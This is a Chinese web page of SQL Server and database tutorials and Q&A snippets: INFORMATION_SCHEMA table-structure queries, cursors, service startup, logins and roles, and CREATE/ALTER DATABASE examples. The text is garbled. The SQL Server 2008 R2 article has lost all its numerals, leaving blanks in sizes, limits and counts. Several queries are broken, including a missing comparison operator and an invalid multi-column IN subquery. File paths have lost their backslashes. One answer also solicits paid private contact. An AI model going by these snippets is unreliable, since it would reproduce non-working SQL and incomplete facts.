bitsCN.com接着上篇文章《解析SQL 表结构信息查询 含主外键、自增长》里面提到了INFORMATION_SCHEMA视图,其实到了SQL 2005微软都主推大家使用INFORMATION_SCHEMA系统视图,而不是在使用sys东东了,当然目前还是有许多信息只能通过sys视图来查询。这里我们还是以查询表结果信息为例来说明一些主要的INFORMATION_SCHEMA视图的使用。首先我们需要查询列的信息,这需要用到[INFORMATION_SCHEMA].[COLUMNS]系统视图来查询数据列的信息,SQL 如下:SELECT c.TABLE_SCHEMA , c.TABLE_NAME , c.COLUMN_NAME , c.DATA_TYPE , c.CHARACTER_MAXIMUM_LENGTH , c.COLUMN_DEFAULT , c.IS_NULLABLE , c.NUMERIC_PRECISION , c.NUMERIC_SCALEFROM [INFORMATION_SCHEMA].[COLUMNS] cWHERE TABLE_NAME = "Address"运行结果如下:我们都知道我们在定义列的时候一般的使用都是varchar(50)之类的信息,这里我们需要整合DATA_TYPE和CHARACTER_MAXIMUM_LENGTH信息,当CHARACTER_MAXIMUM_LENGTH为-1时即使说没有指定具体最大长度,数据的指定长度信息是max,而numeric需要整合NUMERIC_PRECISION、NUMERIC_SCALE信息。修改后的SQL如下:SELECT c.TABLE_SCHEMA , c.TABLE_NAME , c.COLUMN_NAME , CASE WHEN ( ( CHARINDEX("char", c.DATA_TYPE) > 0 OR CHARINDEX("binary", c.DATA_TYPE) > 0 ) AND c.CHARACTER_MAXIMUM_LENGTH-1 ) THEN c.DATA_TYPE + "(" + CAST(c.CHARACTER_MAXIMUM_LENGTH AS VARCHAR(4)) + ")" WHEN ( ( CHARINDEX("CHAR", c.DATA_TYPE) > 0 OR CHARINDEX("binary", c.DATA_TYPE) > 0 ) AND c.CHARACTER_MAXIMUM_LENGTH = -1 ) THEN c.DATA_TYPE + "(max)" WHEN ( CHARINDEX("numeric", c.DATA_TYPE) > 0 ) THEN c.DATA_TYPE + "(" + CAST(c.NUMERIC_PRECISION AS VARCHAR(4)) + "," + CAST(c.NUMERIC_SCALE AS VARCHAR(4)) + ")" ELSE c.DATA_TYPE END AS DATA_TYPE , c.COLUMN_DEFAULT , c.IS_NULLABLE , c.COLUMN_DEFAULTFROM [INFORMATION_SCHEMA].[COLUMNS] cWHERE TABLE_NAME = "Address"ORDER BY c.ORDINAL_POSITION运行结果如图:现在我们需要标记这张表的那些列是主键,那些列是外键,要查询表的主、外键信息需要用到[INFORMATION_SCHEMA].[TABLE_CONSTRAINTS]和[INFORMATION_SCHEMA].[KEY_COLUMN_USAGE] 系统视图运行结果如图:修改我们先前的SQL语句:SELECT c.TABLE_SCHEMA , c.TABLE_NAME , c.COLUMN_NAME , CASE WHEN ( ( CHARINDEX("char", c.DATA_TYPE) > 0 OR CHARINDEX("binary", c.DATA_TYPE) > 0 ) AND c.CHARACTER_MAXIMUM_LENGTH-1 ) THEN c.DATA_TYPE + "(" + CAST(c.CHARACTER_MAXIMUM_LENGTH AS VARCHAR(4)) + ")" WHEN ( ( CHARINDEX("CHAR", c.DATA_TYPE) > 0 OR CHARINDEX("binary", c.DATA_TYPE) > 0 ) AND c.CHARACTER_MAXIMUM_LENGTH = -1 ) THEN c.DATA_TYPE + "(max)" WHEN ( CHARINDEX("numeric", c.DATA_TYPE) > 0 ) THEN c.DATA_TYPE + "(" + CAST(c.NUMERIC_PRECISION AS VARCHAR(4)) + "," + CAST(c.NUMERIC_SCALE AS VARCHAR(4)) + ")" ELSE c.DATA_TYPE END AS DATA_TYPE , c.COLUMN_DEFAULT , c.IS_NULLABLE , c.COLUMN_DEFAULT , CASE WHEN tc.CONSTRAINT_TYPE = "PRIMARY KEY" THEN "YES" ELSE "NO" END AS IS_PRIMARY_KEY , CASE WHEN tc.CONSTRAINT_TYPE = "FOREIGN KEY" THEN "YES" ELSE "NO" END AS IS_FOREIGN_KEYFROM [INFORMATION_SCHEMA].[COLUMNS] c LEFT JOIN [INFORMATION_SCHEMA].[KEY_COLUMN_USAGE] kcu ON kcu.TABLE_SCHEMA = c.TABLE_SCHEMA AND kcu.TABLE_NAME = c.TABLE_NAME AND kcu.COLUMN_NAME = c.COLUMN_NAME LEFT JOIN [INFORMATION_SCHEMA].[TABLE_CONSTRAINTS] tc ON tc.CONSTRAINT_SCHEMA = kcu.CONSTRAINT_SCHEMA AND tc.CONSTRAINT_NAME = kcu.CONSTRAINT_NAMEWHERE c.TABLE_NAME = "Address"ORDER BY c.ORDINAL_POSITION运行结果如图:现在我们已经知道那些列是主键那些是外键,接下来的就是外键列所关联的外检表信息,这里需要用到[INFORMATION_SCHEMA].[REFERENTIAL_CONSTRAINTS]系统视图,运行该视图如下:所以修改我们的SQL如下:SELECT c.TABLE_SCHEMA , c.TABLE_NAME , c.COLUMN_NAME , CASE WHEN ( ( CHARINDEX("char", c.DATA_TYPE) > 0 OR CHARINDEX("binary", c.DATA_TYPE) > 0 ) AND c.CHARACTER_MAXIMUM_LENGTH-1 ) THEN c.DATA_TYPE + "(" + CAST(c.CHARACTER_MAXIMUM_LENGTH AS VARCHAR(4)) + ")" WHEN ( ( CHARINDEX("CHAR", c.DATA_TYPE) > 0 OR CHARINDEX("binary", c.DATA_TYPE) > 0 ) AND c.CHARACTER_MAXIMUM_LENGTH = -1 ) THEN c.DATA_TYPE + "(max)" WHEN ( CHARINDEX("numeric", c.DATA_TYPE) > 0 ) THEN c.DATA_TYPE + "(" + CAST(c.NUMERIC_PRECISION AS VARCHAR(4)) + "," + CAST(c.NUMERIC_SCALE AS VARCHAR(4)) + ")" ELSE c.DATA_TYPE END AS DATA_TYPE , c.COLUMN_DEFAULT , c.IS_NULLABLE , c.COLUMN_DEFAULT , CASE WHEN tc.CONSTRAINT_TYPE = "PRIMARY KEY" THEN "YES" ELSE "NO" END AS IS_PRIMARY_KEY , CASE WHEN tc.CONSTRAINT_TYPE = "FOREIGN KEY" THEN "YES" ELSE "NO" END AS IS_FOREIGN_KEY, fkcu.COLUMN_NAME AS FOREIGN_KEY, fkcu.TABLE_NAME AS FOREIGN_TABLEFROM [INFORMATION_SCHEMA].[COLUMNS] c LEFT JOIN [INFORMATION_SCHEMA].[KEY_COLUMN_USAGE] kcu ON kcu.TABLE_SCHEMA = c.TABLE_SCHEMA AND kcu.TABLE_NAME = c.TABLE_NAME AND kcu.COLUMN_NAME = c.COLUMN_NAME LEFT JOIN [INFORMATION_SCHEMA].[TABLE_CONSTRAINTS] tc ON tc.CONSTRAINT_SCHEMA = kcu.CONSTRAINT_SCHEMA AND tc.CONSTRAINT_NAME = kcu.CONSTRAINT_NAME LEFT JOIN [INFORMATION_SCHEMA].[REFERENTIAL_CONSTRAINTS] fc ON kcu.CONSTRAINT_SCHEMA = fc.CONSTRAINT_SCHEMA AND kcu.CONSTRAINT_NAME = fc.CONSTRAINT_NAME LEFT JOIN [INFORMATION_SCHEMA].[KEY_COLUMN_USAGE] fkcu ON fkcu.CONSTRAINT_SCHEMA = fc.UNIQUE_CONSTRAINT_SCHEMA AND fkcu.CONSTRAINT_NAME = fc.UNIQUE_CONSTRAINT_NAMEWHERE c.TABLE_NAME = "Address"ORDER BY c.ORDINAL_POSITION运行结果如图:我们的查询结果中显示了太多的NULL,看着不怎么舒服,还有我们的表名应该显示一次就可以,修改SQL如下:SELECT CASE WHEN c.ORDINAL_POSITION = 1 THEN c.TABLE_SCHEMA + "." + c.TABLE_NAME ELSE "" END AS TABLE_NAME , c.COLUMN_NAME , CASE WHEN ( ( CHARINDEX("char", c.DATA_TYPE) > 0 OR CHARINDEX("binary", c.DATA_TYPE) > 0 ) AND c.CHARACTER_MAXIMUM_LENGTH-1 ) THEN c.DATA_TYPE + "(" + CAST(c.CHARACTER_MAXIMUM_LENGTH AS VARCHAR(4)) + ")" WHEN ( ( CHARINDEX("CHAR", c.DATA_TYPE) > 0 OR CHARINDEX("binary", c.DATA_TYPE) > 0 ) AND c.CHARACTER_MAXIMUM_LENGTH = -1 ) THEN c.DATA_TYPE + "(max)" WHEN ( CHARINDEX("numeric", c.DATA_TYPE) > 0 ) THEN c.DATA_TYPE + "(" + CAST(c.NUMERIC_PRECISION AS VARCHAR(4)) + "," + CAST(c.NUMERIC_SCALE AS VARCHAR(4)) + ")" ELSE c.DATA_TYPE END AS DATA_TYPE , ISNULL(c.COLUMN_DEFAULT, "") AS COLUMN_DEFAULT , CASE WHEN c.IS_NULLABLE = "YES" THEN "√" ELSE "" END IS_NULLABLE , CASE WHEN tc.CONSTRAINT_TYPE = "PRIMARY KEY" THEN "√" ELSE "" END AS IS_PRIMARY_KEY , CASE WHEN tc.CONSTRAINT_TYPE = "FOREIGN KEY" THEN "√" ELSE "" END AS IS_FOREIGN_KEY , ISNULL(fkcu.COLUMN_NAME, "") AS FOREIGN_KEY , ISNULL(fkcu.TABLE_NAME, "") AS FOREIGN_TABLEFROM [INFORMATION_SCHEMA].[COLUMNS] c LEFT JOIN [INFORMATION_SCHEMA].[KEY_COLUMN_USAGE] kcu ON kcu.TABLE_SCHEMA = c.TABLE_SCHEMA AND kcu.TABLE_NAME = c.TABLE_NAME AND kcu.COLUMN_NAME = c.COLUMN_NAME LEFT JOIN [INFORMATION_SCHEMA].[TABLE_CONSTRAINTS] tc ON tc.CONSTRAINT_SCHEMA = kcu.CONSTRAINT_SCHEMA AND tc.CONSTRAINT_NAME = kcu.CONSTRAINT_NAME LEFT JOIN [INFORMATION_SCHEMA].[REFERENTIAL_CONSTRAINTS] fc ON kcu.CONSTRAINT_SCHEMA = fc.CONSTRAINT_SCHEMA AND kcu.CONSTRAINT_NAME = fc.CONSTRAINT_NAME LEFT JOIN [INFORMATION_SCHEMA].[KEY_COLUMN_USAGE] fkcu ON fkcu.CONSTRAINT_SCHEMA = fc.UNIQUE_CONSTRAINT_SCHEMA AND fkcu.CONSTRAINT_NAME = fc.UNIQUE_CONSTRAINT_NAMEWHERE c.TABLE_NAME = "Address"ORDER BY c.ORDINAL_POSITION运行结果如图:有不对的地方还请大家拍砖!bitsCN.com

sqlalchemy可以只查某一列吗

通过Flask-SQLAlchemy提供的一个query属性,当你通过model类uery属性,你可以得到一个数据库表的查询结果集。i.User.query.filter_by(username="peter").first(),通过filter_by方法里的条件表达式来对query所得到的结果集进行过滤,得到你想要得到的结果。example:Retrieve a user by username通过username属性为"peter‘过滤结果集:>>> peter = User.query.filter_by(username="peter").first()>>> peter.id1>>> peter.emailu"peter@example.org"当不存在结果集时返回none:>>> missing = User.query.filter_by(username="missing").first() >>> missing is None True

c# 判断 sql 字段的类型

如果没抛异常的话那就是应该没有读到值

Hibernate中查询报错,数据库为mysql

hibernate 是面向对象的语言,可以用select * from 表 吗。。。

spark sql 怎样处理日期类型

json File 日期类型 怎样处理?怎样从字符型,转换为Date或DateTime类型?json文件如下,有字符格式的日期类型```{ "name" : "Andy", "age" : 30, "time" :"2015-03-03T08:25:55.769Z"}{ "name" : "Justin", "age" : 19, "time" : "2015-04-04T08:25:55.769Z" }{ "name" : "pan", "age" : 49, "time" : "2015-05-05T08:25:55.769Z" }{ "name" : "penny", "age" : 29, "time" : "2015-05-05T08:25:55.769Z" }```默认推测的Schema:```root|-- _corrupt_record: string (nullable = true)|-- age: long (nullable = true)|-- name: string (nullable = true)|-- time200: string (nullable = true)```测试代码```val fileName = "person.json"val sc = SparkUtils.getScLocal("json file 测试")val sqlContext = new org.apache.spark.sql.SQLContext(sc)val jsonFile = sqlContext.read.json(fileName)jsonFile.printSchema()```##解决方案### 方案一、json数据 时间为 long 秒或毫秒### 方案二、自定义schema```val fileName = "person.json"val sc = SparkUtils.getScLocal("json file 测试")val sqlContext = new org.apache.spark.sql.SQLContext(sc)val schema: StructType = StructType(mutable.ArraySeq(StructField("name", StringType, true),StructField("age", StringType, true),StructField("time", TimestampType, true)));val jsonFile = sqlContext.read.schema(schema).json(fileName)jsonFile.printSchema()jsonFile.registerTempTable("person")val now: Timestamp = new Timestamp(System.currentTimeMillis())val teenagers = sqlContext.sql("SELECT * FROM person WHERE age >= 20 AND age <= 30 AND time <=‘" +now+"‘")teenagers.foreach(println)val dataFrame = sqlContext.sql("SELECT * FROM person WHERE age >= 20 AND age <= 30 AND time <=‘2015-03-03 16:25:55.769‘")dataFrame.foreach(println)```###方案三、sql建表 创建表sql```CREATE TEMPORARY TABLE person IF NOT EXISTS [(age: long ,name:string ,time:Timestamp)] USING org.apache.spark.sql.jsonOPTIONS ( path ‘person.json‘)语法CREATE [TEMPORARY] TABLE [IF NOT EXISTS][(col-name data-type [, …])]USING [OPTIONS ...][AS ]```### 方案四、用textfile convert

Mysql5.1中,datetime类型的字段为什么插入不了NULL值

Datetime是struct,值类型,值类型是不能为null的.只有Datetime的泛型表达DateTime?类型可以赋值为null,但这只是一种简写,DateTime?的实际类型为Nullable.所有值类型都可以转换为这种形式来赋值为null.

sql 表连接 连接条件为NULL时

select distinct a.enterprisecode, a.orgcode, a.orgdesc, a.orgtype, a.parentorgcode, b.orgdesc, a.isenabled from organizations a left join organizations b on a.parentorgcode = b.orgcode where (a.enterprisecode in ("bj", "zb") and a.orgdesc like "%物流部%") or (a.parentorgcode is null and b.orgcode="bjzx") order by a.enterprisecode,a.parentorgcode

linq to sql 如何返回两个日期的天数差值

SqlFunctions.DateDiff 方法 (String, Nullable(Of DateTime), Nullable(Of DateTime)) .NET Framework 4返回所指定开始日期和结束日期之间的指定 datepart 边界的计数。命名空间: System.Data.Objects.SqlClient程序集: System.Data.Entity(在 System.Data.Entity.dll 中)语法--------------------------------------------------------------------------------C#C++F#VB复制[EdmFunctionAttribute("SqlServer", "DATEDIFF")]public static Nullable<int> DateDiff( string datePartArg, Nullable<DateTime> startDate, Nullable<DateTime> endDate)参数datePartArg类型:System.String要计算时间间隔差值的日期部分。startDate类型:System.Nullable(Of DateTime)第一个日期。endDate类型:System.Nullable(Of DateTime)第二个日期。返回值类型:System.Nullable(Of Int32)两个日期之间的时间间隔数。备注--------------------------------------------------------------------------------无法直接调用此函数。此函数只能出现在 LINQ to Entities 查询中。此函数将被转换为数据库中对应的函数。有关相应 SQL Server 函数的信息,请参见 DATEDIFF (Transact-SQL)。

在SQL sever管理平台中,数据库中的表中数据输入相同记录会出现什么现象,怎样避免?

出现相同记录可能会是数据冗余,可考虑用到主键约束等进行限制,参看数据库中的范式。

sql sever怎么创建游标

游标(cursor)是一个存储在DBMS服务器上的数据库查询,它不是一条SELECT语句,而是被该语句检索出来的结果集。在存储了游标之后,应用程序可以根据需要滚动或浏览其中的数据。使用游标使用游标的步骤:在使用游标前,必须声明(定义)它。这个过程实际上没有检索数据,它只是定义要使用的SELECT语句和游标选项。一旦声明,就必须打开游标以供使用。这个过程用前面定义的SELECT语句把数据实际检索出来。对于填有数据的游标,根据需要取出(检索)各行。在结束游标使用时,必须关闭游标,可能的话,释放游标(有赖于具体的DBMS)。声明游标后,可根据需要频繁地打开和关闭游标。在游标打开时,可根据需要频繁地执行取操作。创建游标在SQL Server中使用DECLARE命名游标,并定义相应的SELECT语句,根据需要带WHERE和其他子句,示例如下:复制代码 代码如下:DECLARE CustCursor CURSORFORSELECT * FROM CustomersWHERE cust_email IS NULL使用游标使用OPEN CURSOR语句打开游标,使用FETCH语句访问游标数据了。FETCH指出要检索哪些行,从何处检索它们以及将它们放于何处(如变量名),下面是SQL Server中使用游标的示例:复制代码 代码如下:DECLARE @cust_id CHAR(10),@cust_name CHAR(50),@cust_address CHAR(50),@cust_city CHAR(50),@cust_state CHAR(5),@cust_zip CHAR(10),@cust_country CHAR(50),@cust_contact CHAR(50),@cust_email CHAR(255)OPEN CustCursorFETCH NEXT FROM CustCursorINTO @cust_id, @cust_name, @cust_address,@cust_city, @cust_state, @cust_zip,@cust_country, @cust_contact, @cust_emailWHILE @@FETCH_STATUS = 0BEGINFETCH NEXT FROM CustCursorINTO @cust_id, @cust_name, @cust_address,@cust_city, @cust_state, @cust_zip,@cust_country, @cust_contact, @cust_email...ENDCLOSE CustCursor在此例中,为每个检索出的列声明一个变量,FETCH语句检索一行并保存值到这些变量中。使用WHILE循环处理每一行,条件WHILE @@FETCH_STATUS = 0在取不出更多的行时终止处理(退出循环)。这个例子也不进行具体的处理,实际代码中,应该用具体的处理代码替换其中的…占位符。关闭游标SQL Server 中关闭游标:复制代码 代码如下:CLOSE CustCursorDEALLOCATE CURSOR CustCursorCLOSE语句用来关闭游标。一旦游标关闭,如果不再次打开,将不能使用。第二次使用它时不需要再声明,只需用OPEN打开它即可。

无法启动SQL Sever(MSSQLSERVER)服务(位于本地计算机上)错误 1067进程意外终止

原因:  用360杀毒软件,杀毒把D:ProgramFilesMicrosoftSQLServerMSSQL.1MSSQLBinn这个目录下的文件删除了一部分。导致SQLServer(MSSQLSERVER)服务启动不了。解决:  在别的机子上把D:ProgramFilesMicrosoftSQLServerMSSQL.1MSSQLBinn目录拷贝覆盖一下就OK了。

SQL2005 怎么启动服务?

1.「开始」菜单->运行--启动sqlserver2005服务netstartmssqlserver--停止sqlserver2005服务netstopmssqlserver2.「开始」菜单->程序->MicrosoftSQLServer2005->配置工具SQLServerConfigurationManager->SQLServer(MSSQLSERVER)右击启动服务成功后,状态显示为“正在运行”3.「开始」菜单->运行->services.msc服务控制台SQLServer(MSSQLSERVER)右击启动成功后,状态显示为“已启动”注意:关于1433端口问题在安装SQLSERVER2005的时候默认没有启动TCP/IP及1433端口,我们可以在SQLServerConfigurationManager->SQLNativeClient配置->客户端协议下将Tcp/IP及1433端口开通。

安装SQL SEVER 2014时报错如下,求大神赐教

解决方法:在 SQL 安装过程中,不要通过“添加当前用户”或“添加…”来添加本地用户帐户。在安装过程后,通过执行下面的步骤来手动添加本地用户帐户:1. 停止 SQL Server 分布式重播控制器服务。2. 在安装有控制器服务的控制器计算机上,在命令提示符下键入 dcomcnfg。3. 在“组件服务”窗口中,导航到控制台根节点 ->“组件服务”->“计算机”->“我的电脑”->“Dconfig”-“DReplayController”。4. 右键单击 DReplayController,然后单击“属性”。5. 在“DReplayController 属性”窗口中的“安全”选项卡上,单击“启动和激活权限”部分的“编辑”。6. 向该本地用户帐户授予“本地和远程激活”权限,然后单击“确定”。7. 单击“访问权限”部分的“编辑”,并为本地用户帐户授予“本地和远程访问”权限,然后单击“确定”。8. 单击“确定”以关闭“DReplayController 属性”窗口。9. 在控制器计算机上,将本地用户帐户添加到“分布式 COM 用户”组中。10. 启动 SQL Server 布式重播控制器服务。

用sql sever怎么查询最畅销的三种花(名称,价格)?

查询所有花的信息:select * from T_Flower;查询价格最高的花:select FlowerName from T_Flower order by FlowerPrice desc limit 1;添加一种新的花:insert into T_Flower (FlowerName,FlowerPrice) values("蓝色妖姬", 300.00);将玫瑰修改为150update T_Flower set FlowerPrice=150.00 where FlowerName="玫瑰";查询最畅销的三种花:select FlowerName from T_Flower where Flowerid in(select Flowerid ,GROUP_CONCAT (Num), SUM(Num) as sum from T_expense group by Flowerid order by sum desc limit 3 );查询本月消费信息select * from T_expense where DateDiff (ExpenseDate,,GetDate( ))=0;每种花的总销售量select Flowerid ,FlowerName ,GROUP_CONCAT (Num), SUM(Num) as sum from T_expense,T_Flower group by Flowerid order by sum desc;

用web service方法使android连接到SQL sever的具体代码

第一,web service这种重量级框架不可取,第二,要通过外部网络。要做这样的事情你要搞定这几个事:建立一个SQL数据库,然后在本地发布一个Web API项目,POST方式请求数据Web API发布,地址解析映射到外部网络Android Srudio调用Web API,从发布的地址请求数据想要完整的程序和远程操作指导,加V,我的ID去掉a,不是free哦,教会为止

如何将Excel表导入现有的SQL SEVER数据表里面

一般的数据库都有这个功能的。都在“导入”里面,进去过后选择从哪里导入。你自己看一下你的开发工具吧,应该能找得到的。

如何将SQL sever的一个合法账户user1加入到数据库当中?

1、首先在 SQL Server 服务器级别,创建登陆帐户(create login)。create login dba with password="abcd1234@", default_database=mydb。2、登陆帐户名为:“dba”,登陆密码:abcd1234@”,默认连接到的数据库:“mydb”。 这时候,dba 帐户就可以连接到 SQL Server 服务器上了。但是此时还不能 访问数据库中的对象(严格的说,此时 dba 帐户默认是 guest 数据库用户身份, 可以访问 guest 能够访问的数据库对象)。3、要使 dba 帐户能够在 mydb 数据库中访问自己需要的对象, 需要在数据库 mydb 中建立一个“数据库用户”,赋予这个“数据库用户” 某些访问权限,并且把登陆帐户“dba” 和这个“数据库用户” 映射起来。 习惯上,“数据库用户” 的名字和 “登陆帐户”的名字相同。即:“dba”。 创建“数据库用户”和建立映射关系只需要一步即可完成。4、创建数据库用户(create user):为登陆账户创建数据库用户(create user),在mydb数据库中的security中的user下可以找到新创建的dba。create user dba for login dba with default_schema=dbo。5、并指定数据库用户“dba” 的默认 schema 是“dbo”。这意味着 用户“dba” 在执行“select * from t”,实际上执行的是 “select * from dbo.t”。7、 通过加入数据库角色,赋予数据库用户“dba”权限:通过加入数据库角色,赋予数据库用户“db_owner”权限。exec sp_addrolemember "db_owner", "dba"此时,dba 就可以全权管理数据库 mydb 中的对象了。8、如果想让 SQL Server 登陆帐户“dba”访问多个数据库,比如 mydb2。 可以让 sa 执行下面的语句:让 SQL Server 登陆帐户“dba”访问多个数据库。use mydb2---go---create user dba for ---login dba with default_schema=dbo---go---exec sp_addrolemember "db_owner", "dba"---go。此时,dba 就可以有两个数据库 mydb, mydb2 的管理权限了。数据库(Database)是按照数据结构来组织、存储和管理数据的仓库,它产生于距今六十多年前,随着信息技术和市场的发展,特别是二十世纪九十年代以后,数据管理不再仅仅是存储和管理数据,而转变成用户所需要的各种数据管理的方式。数据库有很多种类型,从最简单的存储有各种数据的表格到能够进行海量数据存储的大型数据库系统都在各个方面得到了广泛的应用。

SQL Sever 2008 R2 数据库管理

  一 预备知识提要:    创建数据库需要的权限   至少要拥有:   ( )create database;   ( )create any database;   ( )alter any database    数据库的上限   在同一实例中 最多可以创建 个数据库 超过则会失败!    数据库文件和文件组   每个SQL Server 数据库至少包括 个文件:   ( )数据文件 : 包含的是 数据库的数据和对象 它分为 主要数据文件和次   要数据文件 扩展名分别为 mdf和 ndf   ( )日志文件 : 包含的是 用于恢复数据库时所需要的信息 它分为 主要日志   文件和次要日志文件 扩展名都为 ldf   技巧:   在默认情况下 数据库的数据文件和日志文件都保存在同一目录下 但这并   不是最佳方案 为了提高存储速度   强烈建议:   将数据文件和日志文件保存在不同的驱动器上!   文件组   为了方便对数据库文件进行管理 可以将数据库文件集中起来放在文件组中   每个数据库都有一个主要文件组 该组包括主要数据文件和未放入其他文件组的   所有次要文件 当然用户也可自行定义不同的文件组    数据库状态   SQL Server 数据库永远处于特定的状态中 包括 种状态:   ( )online : 可以对数据进行访问 (在线)   ( )offline: 数据库无法使用 (离线)   ( )restoring : 表示正在还原主文件组的一个或多个文件 或正在离线还原一个   或多个辅助文件 此时数据库不可用 (还原)   ( )recovering : 表示正在恢复数据库 该状态是个暂时性的状态 恢复成功   后 数据库会自动回到在线状态 (恢复)   ( )recovering pending : 此时数据库并未损坏 但很有可能缺少文件 此时   数据库不可用 并等待用户执行操作来完成恢复工作 (恢复等待)   ( )suspect : 表示数据库里的文件组(至少是主文件组)可疑或已经损坏 SQL   Server 启动过程无法恢复数据库 此时数据不能使用 (可疑)   ( )emergency : 一般用于故障排除 此时数据库处于单用户模式 可以修复   或还原 数据库标记为只读 并禁用日志记录 只有具备sysadmin服务   器角色的成员才能访问 (紧急)   二 举例说明   例一: 创建一个数据库 所有的设置采用默认值   create database 测试数据库   例二: 创建一个数据库 指定数据库的数据文件所在位置   create database 例二数据库   on   (   name= 例二数据库   filename= d:DBtest例二数据库 mdf   )   例三:创建一个数据库 指定数据库的数据文件所在位置 初始容量 最大容量   和文件增长的数量   create database 例三数据库   on   (   name= 例三数据库   filename= d:DBtest例三数据库 mdf   size= MB   maxsize= MB   filegrowth= %   )   例四: 创建一个数据库 指定数据库的数据文件和日志文件所在位置   create database 例四数据库   on   (   name= 例四数据库数据文件   filename= D:DBtest例四数据库数据文件 mdf   size= MB   maxsize= MB   filegrowth= %   )   log on   (   name= 例四数据库日志文件"   filename= D:DBtest例四数据库日志文件 ldf   )   例五 创建一个数据库 它总共包含五个数据文件和两个自定义的文件组   create database 例五数据库   on   (   name= 例五数据库数据文件   filename= d:DBtest例五数据库数据文件 mdf   size= MB   maxsize= MB   filegrowth= %   ) (   name= 例五数据库数据文件   filename= d:DBtest例五数据库数据文件 ndf   size= MB   maxsize= MB   filegrowth= %   )   filegroup 例五数据库数据文件组   (   name= 例五数据库数据文件组 的数据文件   filename= d:DBtest例五数据库数据文件组 的数据文件 ndf   size= MB   maxsize= MB   filegrowth= %   )   filegroup 例五数据库数据文件组   (   name= 例五数据库数据文件组 的数据文件   filename= d:DBtest例五数据库数据文件组 的数据文件 ndf   size= MB   maxsize= MB   filegrowth= %   ) (   name= 例五数据库数据文件组 的数据文件   filename= d:DBtest例五数据库数据文件组 的数据文件 ndf   size= MB   maxsize= MB   filegrowth= %   )   log on   (   name= 例五数据库日志   filename= d:DBtest例五数据库日志文件 ldf   )   例六: 创建一个数据库 并指定排序规则   create database 例六数据库   on   (   name= 例六数据库   filename= d:DBtest例六数据库 mdf   )   collate Chinese_PRC_CI_AS   在使用collate指定排序规则之前 一定要先知道排序规则名   为何才能知道排序规则名呢?请用下面的SQL语句查询   select * from ::fn_helpcollations ()   三 修改数据库设置    使用SQL Server Management Studio修改数据库设置    ) 查看数据库的基本信息   【数据库属性】 【 基本】选项页里 可以看到数据库的基本信息    ) 增加 删除与修改数据库文件   【数据库属性】 【文件】选项页里   重点 典型案例   例七: 将名为"例二数据库"的数据库改名为"例七数据库"   方法一:   alter database 例二数据库   modify name = 例七数据库   方法二:   exec sp_renamedb 例二数据库 例七数据库      例八 为“例六数据库”增加一个数据文件   alter database 例六数据库   add file (name=增加的数据文件   filename= d:DBtest例六数据库增加的数据文件 ndf )      例九 为“例六数据库”增加一个日志文件   alter database 例六数据库   add log file (name=例九增加的日志文件   filename= d:DBtest例九增加的日志文件 ldf   size= MB   maxsize= MB   filegrowth= % )      例十 将“例六数据库”中名为“增加的数据文件”的数据文件改名   alter database 例六数据库   modify file(name=增加的数据文件   newname = 例十数据文件   filename = d:DBtest例十数据文件 ndf )   例十一: 修改"例六数据库"的排序规则   alter database 例六数据库   collate Chinese_PRC_CI_AS_KS   例十二: 在"例六数据库"里删除一个数据文件   alter database 例六数据库   remove file 例十数据文件   例十三: 在"例六数据库"里添加一个文件组   alter database 例六数据库   add filegroup 例十三文件组   例十四: 在"例六数据库"里为一个文件组改名   alter database 例六数据库   modify filegroup 例十三文件组   name=例十四文件组   例十五: 在"例六数据库"里添加一个数据文件(如 例十五数据文件)到一个文件组(如 例十四文件组) 并将该文件组设置为默认文件组 因alter database一次只能修改数据库的一个属性 故下例中使用了 个alter database语句   alter database 例六数据库   add file (name=例十五数据文件   filename="d:DBtest例十五数据文件 ndf")   to filegroup 例十四文件组   go   alter database 例六数据库   modify filegroup 例十四文件组 default   例十六: 在“例六数据库”里删除“例十四文件组” 由于“例十四文件组”是默认文件组 其中又包含了一个文件(例十五数据文件) 故 要从“例六数据库”中删除“例十四文件组” 必须先进行以下操作   ( )将其他文件组设置为默认文件组 如本例中将PRIMARY文件组设置为默认文件组   由于PRIMARY是保留字 故在使用它的时候 要用方括号括起来   alter database 例六数据库   modify filegroup [PRIMARY] default   ( )删除“例十四文件组”中包含的“例十五数据文件”   alter database 例六数据库   remove file 例十五数据文件   ( )删除“例十四文件组”   alter database 例六数据库   remove filegroup 例十四文件组   例十七 将“例六数据库”里的一个文件组设置为只读   ( )由于primary文件组是不能设置为只读的 故先添加一个文件组(如 例十七文件组)   alter database 例六数据库   add filegroup 例十七文件组   ( )由于空文件组(如 例十七文件组)是不能设置为只读的 所以要再添加一个文件(如 例十七数据文件)到该文件组中   alter database 例六数据库   add file (name=例十七数据文件   filegroup="d:Dbtest例十七数据文件 ndf")   to filegroup 例十七文件组   ( )将文件组(例十七文件组)   alter database 例六数据库   modify filegroup 例十七文件组 read_only   例十八 将“例六数据库”设置为只有一个用户可访问   alter database 例六数据库   set single_user   例十九 设置“例六数据库”可自动收缩   alter database 例六数据库 lishixinzhi/Article/program/MySQL/201311/29524

SQL Sever修改表结构

特别强调:每一次修改表结构都要从ALTER TABLE开始。 为Student表增加“入学时间”(S_entrance)列,其数据类型为日期型。 ALTER TABLE Student ADD S_entrance DATE 为KCXX表增加字段:“授课教师” ,数据类型为char(10)。 alter table KCXX add 授课教师 char(10) 为KCXX表增加identity列:ID(int类型、初始值1、增量1)。 alter table KCXX add ID int identity(1,1) 为Student表增加列出生年份:Sbirth,并设置为自动计算:2021-Sage。 alter table Student add Sbirth as 2021-Sage 将Student表的年龄(Sage)列的数据类型由改为整数。 ALTER TABLE Student ALTER COLUMN Sage INT 修改KCXX表的“授课教师” 字段名为teacher,数据类型为char(20)。 两步 sp_rename "KCXX.授课教师" , "teacher" ,"column" alter table KCXX alter column teacher char(20) 3.增加表约束 为Course表的Ccredit列增加值为(1~4)的约束。 ALTER TABLE Course ADD CHECK (Ccredit>=1 AND Ccredit<=4) 或 ALTER TABLE Course ADD CONSTRAINT chk_credit CHECK (Ccredit>=1 AND Ccredit<=4) 为“价格”列创建check约束chk_JG,限制其值不能为空。 alter table 教材 add constraint chk_JG check(价格 is not null) 为课程表Course的课程名称(Cname)列增加必须取唯一值的约束条件。 ALTER TABLE Course ADD UNIQUE(Cname) 或 ALTER TABLE Course ADD CONSTRAINT U_name UNIQUE(Cname) 为Student表的列Ssex列增加默认值"男"。 alter table Student add default "男" for Ssex 或 alter table Student add constraint MoRen default "男" for Ssex 为教材表增加“书名” 为主键。 alter table 教材 add primary key(书名) 或 alter table 教材 add constraint PK_教材_书名 primary key(书名) 为表教材的所属学科列增加外键:参照表学科的学科编号。 一次只能增加一个外键约束! alter table 教材 add foreign key(所属学科) references 学科(学科编号) 或 